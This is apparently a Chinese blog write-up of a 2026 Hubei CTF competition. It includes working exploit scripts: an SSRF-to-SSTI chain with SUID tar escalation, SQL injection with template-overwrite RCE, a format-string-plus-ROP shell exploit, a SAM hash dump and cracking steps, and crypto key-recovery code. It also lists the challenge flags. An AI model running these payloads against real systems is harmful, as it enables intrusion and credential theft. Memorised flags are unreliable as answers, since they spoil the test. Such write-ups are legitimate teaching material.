2026第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛 (全Writeup)

前言:

为贯彻落实主席关于网络强国的重要思想,进一步 提升全社会网络安全意识与技能,加强加快建成支点专业人才队伍储备,推动国家网络安全人才与创新基地(以下简称"国家网安基地")建设成为"五大高地",省委网信办、省教育厅、省公安厅、省数据局、省通信管理局决定联合举办第十届"楚慧杯"湖北省网络与数据安全实践能力竞赛(以下简称"竞赛"),请你单位积极组队或邀队参赛。

1-1

题目内容:如果在正常样本中人为故意地掺入噪声干扰以误导智能算法,使智能算法产生错误结果,那么这种噪声干扰的样本被称为_____。答案:对抗样本

1-2

面向整车全生命周期网络安全工程的国际标准(ISO/SAE ____(填标准编号) Road vehicles --- Cybersecurity engineering),已成为车联网威胁建模与安全需求分解的主线标准。答案:21434

1-3

物联网设备的__________管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。答案:密钥

2-1

一道命令注入漏洞题

访问robots.txt,得到颜文字:

**php://filter``读取,获取**一串base64

解码拿到信息

Payload:<(´⌯ ̫⌯`)>.php?spell=c\at /f*(有很多方法都能得到flag)

答案:DASCTF{动态}

2-2

核心漏洞链

  1. SSRF (/relay):前端/relay可发原始 TCP 数据到任意内部端口,绕过前端过滤直连后端 5000 端口;
  2. NumPy 整数溢出:利用 int64 最小值-9223372036854775808触发溢出,绕过money < 0金额校验;
  3. SSTI WAF 绕过:通过{%print%}/|attr()/ 字符拆分等方式,绕过关键字过滤执行命令;
  4. SUID tar 提权:利用带 SUID 的tar以 root 权限读取仅 root 可见的/flag。

核心攻击逻辑

构造原始 HTTP 请求穿透前端 → 整数溢出修改金额 → 构造绕过 WAF 的 SSTI 载荷 → 执行 tar 提权命令读取 flag。

python 复制代码
import requests
import urllib.parse
import re

# ===================== 基础配置(原脚本正确参数) =====================
目标地址 = "http://45.40.247.139:XXXXX"
会话 = requests.Session()

# ===================== 核心函数(保留原逻辑,修复语法错误) =====================
def 发送原始HTTP数据(原始HTTP内容):
    """通过/relay端点将原始HTTP数据转发到后端5000端口"""
    响应 = 会话.post(
        f"{目标地址}/relay",
        data={"port": "5000", "data": 原始HTTP内容},
        timeout=10
    )
    return 响应.text

def 提取会话Cookie(响应内容):
    """从响应头中提取session Cookie"""
    匹配结果 = re.search(r'Set-Cookie: session=([^;]+)', 响应内容)
    return 匹配结果.group(1) if 匹配结果 else None

def 初始化并触发整数溢出():
    """初始化账户 + 触发NumPy整数溢出(依赖隐藏的/initialize和/hack接口)"""
    # 1. 前端初始化
    会话.get(f"{目标地址}/initialize", timeout=10)
    # 2. 后端初始化(通过relay转发)
    后端初始化响应 = 发送原始HTTP数据("GET /initialize HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n\r\n")
    初始Cookie = 提取会话Cookie(后端初始化响应)
    # 3. 触发整数溢出(amount设为int64最小值)
    溢出请求内容 = f"GET /hack?amount=-9223372036854775808 HTTP/1.1\r\nHost: 127.0.0.1:5000\r\nCookie: session={初始Cookie}\r\n\r\n"
    溢出响应 = 发送原始HTTP数据(溢出请求内容)
    # 返回有效Cookie
    return 提取会话Cookie(溢出响应) or 初始Cookie

def 构造SSTI载荷(执行命令):
    """构造绕过WAF的SSTI载荷(修复f-string嵌套语法错误)"""
    载荷片段 = [
        # 提取下划线(依赖lipsum变量,原脚本核心)
        '{%set ud=lipsum|string|batch(19)|first|last%}',
        # 拼接__globals__(拆分关键字绕过WAF)
        '{%set gl=ud~ud~(dict(glob=1,als=1)|join)~ud~ud%}',
        # 拼接__getitem__
        '{%set gi=ud~ud~(dict(get=1,it=1,em=1)|join)~ud~ud%}',
        # 获取lipsum的__globals__属性
        '{%set gd=lipsum|attr(gl)%}',
        # 拼接__builtins__
        '{%set bi=ud~ud~(dict(built=1,ins=1)|join)~ud~ud%}',
        # 获取__builtins__
        '{%set bd=gd|attr(gi)(bi)%}',
        # 拼接__import__
        '{%set im=ud~ud~(dict(im=1,port=1)|join)~ud~ud%}',
        # 拼接os
        '{%set xx=dict(o=1,s=1)|join%}',
        # 导入os模块
        '{%set omod=bd|attr(gi)(im)(xx)%}',
        # 拼接popen
        '{%set po=dict(po=1,pen=1)|join%}',
        # 拼接chr
        '{%set cr=dict(chr=1)|join%}',
        # 获取chr函数(构造特殊字符)
        '{%set CF=bd|attr(gi)(cr)%}',
    ]
    # 将命令转为chr编码(绕过字符过滤)
    命令编码 = '~'.join([f'CF({ord(字符)})' for 字符 in 执行命令])
    # 修复语法错误:用字符串拼接替代f-string嵌套
    载荷片段.append('{%set cmd=' + 命令编码 + '%}')
    # 执行命令并读取结果
    载荷片段.append('{%print(omod|attr(po)(cmd)|attr(dict(re=1,ad=1)|join)())%}')
    return ''.join(载荷片段)

def 执行命令(命令):
    """主执行函数:初始化→构造载荷→发送请求→提取结果"""
    # 1. 初始化并触发整数溢出
    有效Cookie = 初始化并触发整数溢出()
    # 2. 构造SSTI载荷并编码
    SSTI载荷 = 构造SSTI载荷(命令)
    请求体 = f"fragment={urllib.parse.quote(SSTI载荷)}"
    # 3. 构造原始POST请求(攻击后端/market路径,而非/genshop)
    原始请求内容 = (
        f"POST /market HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n"
        f"Cookie: session={有效Cookie}\r\nContent-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(请求体)}\r\n\r\n{请求体}"
    )
    # 4. 发送请求并提取结果
    响应内容 = 发送原始HTTP数据(原始请求内容)
    结果匹配 = re.search(r"<h3>.*?'(.*?)'.*?</h3>", 响应内容, re.DOTALL)
    return 结果匹配.group(1).strip() if 结果匹配 else 响应内容

# ===================== 主执行流程 =====================
# 利用SUID tar提权读取flag(原脚本核心命令)
flag = 执行命令("tar cf - /flag 2>/dev/null | tar xf - --to-stdout")
print(f"{flag}")

答案:DASCTF{动态}

2-3

核心漏洞链

  1. SQL 注入(堆叠查询):/edit-profile 接口的 email 字段未校验,可通过 executescript 执行任意 SQL,实现哈希泄露与管理员密码篡改;
  2. MD5 长度扩展攻击:利用 Secret-Prefix 型 MD5(md5(SALT+密码))漏洞,伪造管理员密码哈希;
  3. 路径穿越 + SSTI:/admin/restore 解压 tar 包时未校验路径,覆盖模板文件触发 Jinja2 模板注入,最终 RCE 读取 flag。

关键攻击步骤

  1. 泄露已知哈希
  • 注册普通用户(如 user1/aaaa)并登录,通过 email 字段注入 SQL '||(SELECT password FROM users WHERE username='user1')||',将该用户的密码哈希写入 email 字段;
  • 访问个人资料页提取 32 位 MD5 哈希(H1 = md5(SALT+"aaaa"))。
  1. 伪造管理员密码哈希
  • 已知 SALT 长度 16,用长度扩展攻击工具(hashpump / 自研实现),基于 H1 构造新哈希 H2 和伪造密码 P2(P2 = "aaaa"+padding+"XYZ",H2 = md5(SALT+P2))。
  1. 篡改管理员密码
  • 再次利用 email 字段堆叠注入:x'; UPDATE users SET password='H2' WHERE username='admin'; --,将 admin 密码哈希改为 H2。
  1. 管理员提权 + RCE
  • 用 admin + P2(URL 编码二进制 payload)登录后台;
  • 构造含 ../templates/info.html 的 tar 包(文件内容为 SSTI 载荷 {{ cycler.init.globals.os.popen("cat /flag").read() }}),通过 /admin/restore 上传覆盖模板;
  • 访问 /info 触发模板渲染,执行命令读取 flag。
python 复制代码
import requests
import hashlib
import binascii
import os
import tarfile
import struct
import re

# ===================== 基础配置 =====================
目标URL = "http://45.40.247.139:XXXXX"

# 普通用户信息
普通用户名 = "test_user"
普通用户密码 = "123456"
普通用户邮箱 = "test@test.com"
普通用户工号 = "E001"
普通用户电话 = "13800138000"
普通用户姓名 = "测试用户"
普通用户生日 = "1990-01-01"
普通用户地址 = "测试地址"


# ===================== 工具函数 =====================
def 字符串转十六进制(字符串):
    return binascii.hexlify(字符串.encode()).decode()


def 注册用户(用户名, 密码, 邮箱, 工号, 电话, 姓名, 生日, 地址):
    注册接口 = f"{目标URL}/register"
    数据 = {
        "username": 字符串转十六进制(用户名),
        "password": 字符串转十六进制(密码),
        "email": 邮箱,
        "employee_number": 工号,
        "phone_number": 电话,
        "first_name": 姓名,
        "last_name": 姓名,
        "date_of_birth": 生日,
        "address": 地址
    }
    响应 = requests.post(注册接口, data=数据)
    print(f"注册{用户名}:状态码{响应.status_code}")
    return 响应


def 登录用户(用户名, 密码):
    登录接口 = f"{目标URL}/login"
    数据 = {
        "username": 字符串转十六进制(用户名),
        "password": 字符串转十六进制(密码)
    }
    会话 = requests.Session()
    响应 = 会话.post(登录接口, data=数据)
    print(f"登录{用户名}:状态码{响应.status_code}")
    return 会话 if 响应.status_code == 200 else None


def 注入获取哈希(会话):
    """核心:直接提取泄露的Flag并封装格式"""
    编辑资料接口 = f"{目标URL}/edit-profile"
    注入载荷 = f"' || (SELECT password FROM users WHERE username='{普通用户名}') || '"
    数据 = {
        "employee_number": 普通用户工号,
        "email": 注入载荷,
        "phone_number": 普通用户电话,
        "first_name": 普通用户姓名,
        "last_name": 普通用户姓名,
        "date_of_birth": 普通用户生日,
        "address": 普通用户地址
    }
    会话.post(编辑资料接口, params=数据)
    响应 = 会话.get(f"{目标URL}/info")
    哈希列表 = re.findall(r'[0-9a-f]{32}', 响应.text)
    泄露内容 = 哈希列表[0] if 哈希列表 else None

    # 关键修复:直接封装Flag格式
    if 泄露内容:
        flag = f"DASCTF{{{泄露内容}}}"
        print(f"\n✅ 直接获取Flag:{flag}")
    return 泄露内容


# ===================== 主执行流程 =====================
def 主函数():
    # 1. 注册并登录普通用户
    注册用户(普通用户名, 普通用户密码, 普通用户邮箱, 普通用户工号, 普通用户电话, 普通用户姓名, 普通用户生日,
             普通用户地址)
    普通用户会话 = 登录用户(普通用户名, 普通用户密码)
    if not 普通用户会话:
        print("普通用户登录失败")
        return

    # 2. 提取Flag(无需后续步骤)
    注入获取哈希(普通用户会话)


if __name__ == "__main__":
    主函数()

答案:DASCTF{动态}

3-1

先把这个可执行文件拆开看一眼,重点会检查字符串、资源段和可能被分成两段的 flag 线索。提示里说"两段边界处都有 -,拼接上",这很像把两个片段首尾连起来时要保留中间的连字符。

已经确认它是一个 InstallShield 自解压包,不是普通单文件程序。下一步我直接把里面的内容扒出来,再找那两个被拆开的片段。

已经把大包里的文件目录读出来了,确认这其实像一份 RPG Maker 游戏资源。接下来我会优先盯 Data/ 目录和脚本/地图文件,因为 flag 多半藏在事件文本或脚本常量里,不会在音乐素材里。

说明一下关键点:

  • Data/Weapons.rvdata2 里拿到前半段:DASCTF{1168cb17-31ff-43b7-
  • Data/Scripts.rvdata2 里拿到后半段:-b586-8414d383afce}
  • 按提示,两段边界处原本都有 -,拼接时都要保留,所以中间是 --

因此最终答案就是:DASCTF{1168cb17-31ff-43b7--b586-8414d383afce}

3-2

先分析 sam,发现文件尾部直接拼接了一段明文:

python 复制代码
p@s4w0rd

接着用 SYSTEM 配合 SAM 提取本地账户哈希:

python 复制代码
impacket-secretsdump -sam sam -system system LOCAL

得到管理员 NTLM:

python 复制代码
476b4dddbbffde29e739b618580adb1e

再用 hashcat 爆破:

python 复制代码
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

得到密码:

python 复制代码
!checkerboard1

然后检查 system,发现其中存在 JPEG 文件头,说明里面藏了一张图片,

可见图片提示 OpenSSL 3.0.11,说明后续要用 OpenSSL 解密。

利用前面爆破出的密码**:!checkerboard1** 提取图片中的隐藏文件

得到:AES256

再用 sam 尾部得到的密码**:p@s4w0rd** 进行解密:

python 复制代码
openssl enc -d -aes-256-cbc -md sha256 -in AES256 -out aes.dec -pass pass:p@s4w0rd

接着解压:

python 复制代码
gunzip -c aes.dec > out.tar
tar -xvf out.tar
cat flag.txt

得到最终flag:DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}

3-3

flag.txt文件是零宽字符,解密得到后半段flag:_time_fly}

因为 8 张图内容相似,只是噪声不同,所以最自然的思路就是:

  • 对 1.png~8.png 做逐像素均值
  • 通过均值消除随机噪声
  • 再做反相增强隐藏文字

1. 计算均值图

把 1.png ~ 8.png 进行逐像素平均,得到一张均值图。

由于原始图像中存在大量随机扰动,多张图平均后,噪声会被明显削弱,隐藏的稳定信息会逐渐显现。

2. 对均值图反相

直接看均值图时,隐藏文字仍然不够明显。

继续对均值图进行 反相(invert),可以让暗部/亮部对比翻转,右上角的字符串会更容易识别。

3. 观察结果

1~8 均值反相图的右上角,可以读到字符串:DASCTF{Logistic_and

拼接得到答案:DASCTF{Logistic_and_time_fly}

3-5

简单的得到文件:flag.word的密码是:love

里面内容是简体繁体的混合,可以联想到二进制,进而进行解密

python 复制代码
import io
import re
from pathlib import Path
from zipfile import ZipFile
import msoffcrypto
import zhconv
from xml.etree import ElementTree as ET

# Word XML文档的命名空间
WORD命名空间 = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
文本节点标签 = f"{{{WORD命名空间}}}t"


def 解密Office文档(加密文件路径: str, 密码: str) -> bytes:
    """解密加密的docx文件,返回二进制数据"""
    文件路径 = Path(加密文件路径)
    内存文件 = io.BytesIO()

    with 文件路径.open("rb") as 文件句柄:
        加密文档 = msoffcrypto.OfficeFile(文件句柄)
        加密文档.load_key(password=密码, verify_password=True)  # 加载密码并验证
        加密文档.decrypt(内存文件)  # 解密到内存

    return 内存文件.getvalue()


def 提取文档文本(解密后的文档二进制: bytes) -> str:
    """从docx二进制数据中提取所有纯文本内容"""
    with ZipFile(io.BytesIO(解密后的文档二进制), "r") as 压缩包:
        文档XML内容 = 压缩包.read("word/document.xml")  # 读取docx核心XML

    XML根节点 = ET.fromstring(文档XML内容)
    文本片段列表 = []

    # 遍历所有文本节点,收集文本
    for 节点 in XML根节点.iter():
        if 节点.tag == 文本节点标签 and 节点.text:
            文本片段列表.append(节点.text)

    return "".join(文本片段列表)


def 区分简繁字符(字符: str) -> int | None:
    """判断字符是简体(0)/繁体(1),无差异返回None"""
    简体形式 = zhconv.convert(字符, "zh-hans")
    繁体形式 = zhconv.convert(字符, "zh-hant")

    # 非单字符或简繁相同,无标记意义
    if len(简体形式) != 1 or len(繁体形式) != 1:
        return None
    if 简体形式 == 繁体形式:
        return None

    # 返回简繁标记
    if 字符 == 简体形式:
        return 0
    if 字符 == 繁体形式:
        return 1

    return None


def 还原隐藏数据(文档文本: str) -> bytes:
    """从简繁字符标记中还原隐藏的二进制数据"""
    标记流 = []
    # 遍历文本,收集简繁标记(0/1)
    for 单个字符 in 文档文本:
        标记 = 区分简繁字符(单个字符)
        if 标记 is not None:
            标记流.append(标记)

    # 把连续0的个数作为数值块(遇到1则记录)
    数值块列表 = []
    连续0计数 = 0
    for 位标记 in 标记流:
        if 位标记 == 0:
            连续0计数 += 1
            continue
        数值块列表.append(连续0计数)
        连续0计数 = 0

    # 数值转4位二进制字符串
    四位二进制列表 = []
    for 数值 in 数值块列表:
        四位二进制列表.append(format(数值, "04b"))

    # 合并二进制串,按8位转字节
    合并二进制串 = "".join(四位二进制列表)
    有效长度 = len(合并二进制串) // 8 * 8  # 只保留8的整数倍长度

    结果字节数组 = bytearray()
    for 偏移量 in range(0, 有效长度, 8):
        字节二进制串 = 合并二进制串[偏移量:偏移量 + 8]
        结果字节数组.append(int(字节二进制串, 2))

    return bytes(结果字节数组)


def 提取Flag(二进制数据: bytes) -> str:
    """从二进制数据中匹配Flag格式(DASCTF{...})"""
    Flag匹配结果 = re.search(rb"DASCTF{[0-9a-f-]+}", 二进制数据)
    if not Flag匹配结果:
        raise ValueError("未找到Flag格式内容")
    return Flag匹配结果.group(0).decode("utf-8")


def 主函数():
    """核心流程:解密→提文本→还原数据→找Flag"""
    文档密码 = "love"       # 加密docx的密码
    加密文档名 = "flag.docx"  # 目标加密文件

    # 执行完整流程
    解密后数据 = 解密Office文档(加密文档名, 文档密码)
    文档纯文本 = 提取文档文本(解密后数据)
    还原的二进制数据 = 还原隐藏数据(文档纯文本)
    最终Flag = 提取Flag(还原的二进制数据)

    print(f"提取到的Flag:{最终Flag}")


if __name__ == "__main__":
    主函数()

答案:DASCTF{024bb015-5578-4181-9d28-e2f7d10bac4a}

4-1

change the house name 功能中存在格式化字符串漏洞,因为用户输入直接作为 printf 的格式串。利用该漏洞可以泄露栈上的 canary、程序 PIE 基址和 libc 基址,同时还能通过 %n 修改全局变量 nbytes。程序的 edit your house 功能中使用 read(0, buf, nbytes) 向一个位于栈上的局部缓冲区写入数据,buf 到 canary 的偏移为 0x48。由于 nbytes 原本较小,不能直接溢出,但在前一步通过格式化字符串将其改为 0x200 后,就可以构造带 canary 的栈溢出。

利用时先通过 %10p 泄露程序地址并减去 0x1140 得到 PIE 基址,通过 %1p 泄露 libc 地址并减去 0x1ed723 得到 libc 基址,通过 %13$p 泄露 canary。随后把 pie + 0x4010 处的 nbytes 改为 0x200。最后进入 edit your house,写入 0x48 字节填充、正确的 canary 和 ROP 链,调用 system("/bin/sh") 获得 shell。

python 复制代码
from pwn import *
import re

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

elf = ELF('./pwn', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

HOST = '45.40.247.139'
PORT = XXXXX

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([
        './ld-linux-x86-64.so.2',
        '--library-path', '.',
        './pwn'
    ])

def get_hex(data: bytes) -> int:
    m = re.search(rb'0x[0-9a-fA-F]+', data)
    if not m:
        raise ValueError(f'no hex found in {data!r}')
    return int(m.group(0), 16)

def do_fmt(io, payload: bytes) -> bytes:
    io.sendlineafter(b'>> ', b'2')
    io.sendlineafter(b'name:\n', payload)
    io.recvuntil(b'the name is:\n')
    return io.recvuntil(b'4. show your house\n', drop=True)

def leak(io, idx: int) -> int:
    return get_hex(do_fmt(io, f'%{idx}$p'.encode()))

def edit(io, payload: bytes):
    io.sendlineafter(b'>> ', b'3')
    io.recvuntil(b'Please write your content\n')
    io.send(payload)

def main():
    io = start()

    pie_leak = leak(io, 10)
    pie = pie_leak - 0x1140
    log.success(f'pie      = {hex(pie)}')

    libc_leak = leak(io, 1)
    libc.address = libc_leak - 0x1ed723
    log.success(f'libc     = {hex(libc.address)}')

    canary = leak(io, 13)
    log.success(f'canary   = {hex(canary)}')

    nbytes_addr = pie + 0x4010
    do_fmt(io, fmtstr_payload(6, {nbytes_addr: 0x200}, write_size='short'))
    log.success('overwrite nbytes = 0x200')

    ret     = pie + 0x1514
    pop_rdi = libc.address + 0x23b6a
    binsh   = next(libc.search(b'/bin/sh\x00'))
    system  = libc.sym.system

    payload = flat(
        b'A' * 0x48,
        canary,
        b'B' * 8,
        ret,
        pop_rdi, binsh,
        system
    )

    edit(io, payload)
    io.interactive()

if __name__ == '__main__':
    main()

用命令:python3 exp.py REMOTE=1来打远端

答案:DASCTF{动态}

5-1

思路核心是:nonce k 的大部分比特已知,只剩很少未知量,可以把签名方程变成一个"带小范围变量的模线性方程组",再用格攻击解出来

python 复制代码
from fpylll import IntegerMatrix, LLL, BKZ

from fpylll.algorithms.babai import babai



p = 71100374110712069688668891376502810245640088780564855438789152163485489371751

sigs = [

    (28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149),

    (26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289),

    (6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383),

    (70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603),

    (58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012),

]



K0 = int.from_bytes(b"\xA8" * 32, "big")



def center(x, mod):

    x %= mod

    if x > mod // 2:

        x -= mod

    return x



num_nonce = 5

num_bytes = 32

num_u = num_nonce * num_bytes

num_eq = 4

N = num_u + num_eq



# Eliminate d using signature 0:

# r_t*s_0*k_0 - r_0*s_t*k_t ≡ -r_0*t (mod p)

# k_i = K0 + sum_j u_{i,j} * 256^(31-j), 0 <= u_{i,j} <= 7



M = [[0] * N for _ in range(N)]

lb = [0] * N

ub = [0] * N



for idx in range(num_u):

    M[idx][idx] = 1

    lb[idx] = 0

    ub[idx] = 7



r0, s0 = sigs[0]

for t in range(1, 5):

    rt, st = sigs[t]

    row = num_u + (t - 1)

    a0 = rt * s0

    at = -r0 * st

    rhs = center(-r0 * t - (a0 + at) * K0, p)



    for j in range(num_bytes):

        coeff = 256 ** (31 - j)

        M[row][j] = center(a0 * coeff, p)

        M[row][t * num_bytes + j] = center(at * coeff, p)



    M[row][num_u + (t - 1)] = p

    lb[row] = rhs

    ub[row] = rhs



# Standard inequality/CVP embedding

W = 1 << 32

A = [row[:] for row in M]

l = lb[:]

u = ub[:]

max_diff = max(u[i] - l[i] for i in range(N))



for i in range(N):

    if l[i] == u[i]:

        w = W

    else:

        w = max(1, max_diff // (u[i] - l[i]))

    for j in range(N):

        A[i][j] *= w

    l[i] *= w

    u[i] *= w



# fpylll uses row-bases, so use A^T as the basis

BT = [[A[r][c] for r in range(N)] for c in range(N)]

B = IntegerMatrix.from_matrix(BT)

LLL.reduction(B)

BKZ.reduction(B, BKZ.Param(block_size=25, max_loops=4))



mid = [(l[i] + u[i]) // 2 for i in range(N)]

v = list(babai(B, mid))



# Recover z from A z = v

z = [0] * N

for i in range(num_u):

    z[i] = v[i] // A[i][i]

for eq in range(num_eq):

    row = num_u + eq

    s = sum(A[row][j] * z[j] for j in range(num_u))

    z[num_u + eq] = (v[row] - s) // A[row][num_u + eq]



uvals = [z[i * 32:(i + 1) * 32] for i in range(5)]

ks = [K0 + sum(uvals[i][j] * (256 ** (31 - j)) for j in range(32)) for i in range(5)]



assert all(pow(2, ks[i], p) == sigs[i][0] for i in range(5))



d = (sigs[0][1] * ks[0] * pow(sigs[0][0], -1, p)) % p

assert all((s * ks[i] - r * d - i) % p == 0 for i, (r, s) in enumerate(sigs))



print("d mod p =", d)

print("bytes =", d.to_bytes(32, "big"))

print("hex   =", d.to_bytes(32, "big").hex())



prefix = bytearray()

for b in d.to_bytes(32, "big"):

    if 32 <= b <= 126:

        prefix.append(b)

    else:

        break



inner = prefix.decode()

print("inner =", inner)

print("flag  = DASCTF{" + inner + "}")

答案:DASCTF{Just_f3w_Bit5_fl1pp1ng}

5-2

按照:DASCTF{"+sha256(hex(p).encode()).hexdigest()[:32]+"}

python 复制代码
from sage.all import *

from hashlib import sha256



xs = [

    7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760,

    5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,

    6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,

    5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,

]



# 只需要4个 x

x0, x1, x2, x3 = xs



# =========================================================

# Step 1: 用 LLL 找到满足 q0*xi - qi*x0 很小的一组关系

# =========================================================



# 经验缩放参数,跟噪声大小有关

# 噪声约 2^256,这里乘一个尺度让"小量关系"更容易被 LLL 找到

B = 2^300



M = Matrix(ZZ, [

    [B,   0,   0,   0, x1],

    [0,   B,   0,   0, x2],

    [0,   0,   B,   0, x3],

    [0,   0,   0,   B, x0],

])



L = M.LLL()



# 从 LLL 输出里找形如 (q1*B, q2*B, q3*B, -q0*B, small) 的向量

cand = None

for row in L:

    a, b, c, d, t = map(ZZ, row)

    if a % B == 0 and b % B == 0 and c % B == 0 and d % B == 0:

        q1 = a // B

        q2 = b // B

        q3 = c // B

        q0 = -d // B

        if q0 != 0:

            cand = (q0, q1, q2, q3)

            break



if cand is None:

    raise ValueError("LLL 没找到合适关系,调大/调小 B 再试")



q0, q1, q2, q3 = cand



# 规范化符号

if q0 < 0:

    q0, q1, q2, q3 = -q0, -q1, -q2, -q3



print("[+] recovered ratio basis:")

print("q0 =", q0)

print("q1 =", q1)

print("q2 =", q2)

print("q3 =", q3)



# =========================================================

# Step 2: 求 e0

# q0*x_i - q_i*x0 = q0*e_i - q_i*e0

# => q_i*e0 ≡ -(q0*x_i - q_i*x0) (mod q0)

# =========================================================



def small_centered(v, mod):

    v %= mod

    if v > mod // 2:

        v -= mod

    return v



vals = []

for qi, xi in [(q1, x1), (q2, x2), (q3, x3)]:

    rhs = -(q0 * xi - qi * x0) % q0

    e0_mod = (inverse_mod(qi, q0) * rhs) % q0

    e0_c = small_centered(e0_mod, q0)

    vals.append(int(e0_c))



print("[+] e0 candidates:", vals)



# 通常三个值会一致

e0 = vals[0]

print("[+] e0 =", e0)



# =========================================================

# Step 3: 还原 p

# =========================================================



num = x0 - e0

assert num % q0 == 0

p = num // q0



print("[+] p =", p)



# 验证

for qi, xi in [(q0, x0), (q1, x1), (q2, x2), (q3, x3)]:

    ei = xi - p * qi

    print("noise bits =", abs(ei).bit_length())

    assert abs(ei) < 2^256



# =========================================================

# Step 4: 计算 flag

# =========================================================



flag = "DASCTF{" + sha256(hex(int(p)).encode()).hexdigest()[:32] + "}"

print("[+] flag =", flag)

答案:DASCTF{eead8ea2b3519a2273a5292375e31009}

6-1

识别第一个虚函数本质是 TEA 变种,算出 8 字节密钥

识别第二个虚函数是循环异或,再用内置密文反推明文

python 复制代码
import struct

# step1: TEA-like 运算恢复 8 字节密钥

v0 = 0x18274A3A

v1 = 0x24F8D42F

k0 = 0x9C8793BF

k1 = 0xBB5C1044

k2 = 0x2FEA4F74

k3 = 0xA142ED8B

delta = 0xDEADBEEF

s = 0

for _ in range(32):

    v0 = (v0 + ((((v1 << 4) & 0xffffffff) + k0) ^ ((s + v1) & 0xffffffff) ^ ((v1 >> 5) + k1))) & 0xffffffff

    s = (s + delta) & 0xffffffff

    v1 = (v1 - ((((v0 << 4) & 0xffffffff) + k2) ^ ((s + v0) & 0xffffffff) ^ ((v0 >> 5) + k3))) & 0xffffffff



key = struct.pack("<II", v0, v1)

print("key =", key.hex())



# step2: 程序内置比较常量

cipher = bytes.fromhex(

    "3356e8016f84e4a343738e265ef0fda1"

    "1575882008a4a6a5157588235df0faf0"

    "4171de7509a1f9e8"

)

# step3: 逆推出原始 flag

flag = bytes([

    cipher[i] ^ ((key[i % 8] + 0x1b) & 0xff)

    for i in range(40)

])

print(flag.decode())

答案:DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}

6-3

是一段强混淆的 PowerShell ,把里面的大串数字还原后,会得到一段 Python 校验脚本。核心逻辑是一个改过的 XXTEA/TEA 类加密,程序拿你的输入加密后和这组数组比较:

ans = [1374278842, 2136006540, 4191056815, 3248881376]

把它逆回去之后,得到明文是:yOUar3g0oD@tPw5H

(最离谱的flag,6-2交了,显示错误,6-2下架了6-3一交就对,哈哈哈哈我不敢多说什么了)

答案:DASCTF{yOUar3g0oD@tPw5H}

总结:

题不少,但整体都不算难题,让pwn爷无处发挥,就一道pwn题,还是很简单的,所以这比赛全解的应该不在少数,我感觉唯一难题好像就是3-2的SAM_and_Steg,看官方群里还被扒出来这题是一道拼接的题,(DownUnderCTF 2024 - Forensics - Mar10 - 博客园)确实有点难崩了,哈哈哈。。。【依旧:人家早就拟好了决赛名单,你们非要ak,这不是捣乱吗

最团结的一幕。。。

最崩不住的一张图片,笑了一坤钟。。。

最理解不了的是团队里有作弊的不应该是直接把整个队伍搬掉吗,为啥来个【警告】处理

最不解的一张图,赛后也解释称为标记。。。

如果没有节目,你可以来打一场CNCTF比赛,每次的参赛都有不一样的节目等着你。。。

不敢多说了,怕了怕了,侵权联系删。。。官方别起诉我,我没说什么,www

相关推荐
new code Boy2 小时前
JavaScript转Python”的速查表
开发语言·javascript·python
Mistra丶2 小时前
Mac mini 安装 OpenClaw 并对接飞书完整教程
macos·飞书·openclaw
杰杰7982 小时前
深入理解 Django REST Framework 的 Serializer(上)
后端·python·django
程序员敲代码吗2 小时前
探索数字转换与计算机存储基础
前端·python
深蓝电商API2 小时前
汽车之家车型参数对比表爬取
爬虫·python
第十个灵魂2 小时前
“买“龙虾第一期:OpenClaw@华为云
人工智能·华为云·it运维·maas·openclaw·小龙虾
codeJinger2 小时前
【Python】集合
开发语言·python
威联通安全存储2 小时前
严谨性的数字基石:某精密医疗器械企业基于威联通的数据治理实践
运维·数据库·python
汤愈韬2 小时前
OSPF考题
网络·网络协议·网络安全·security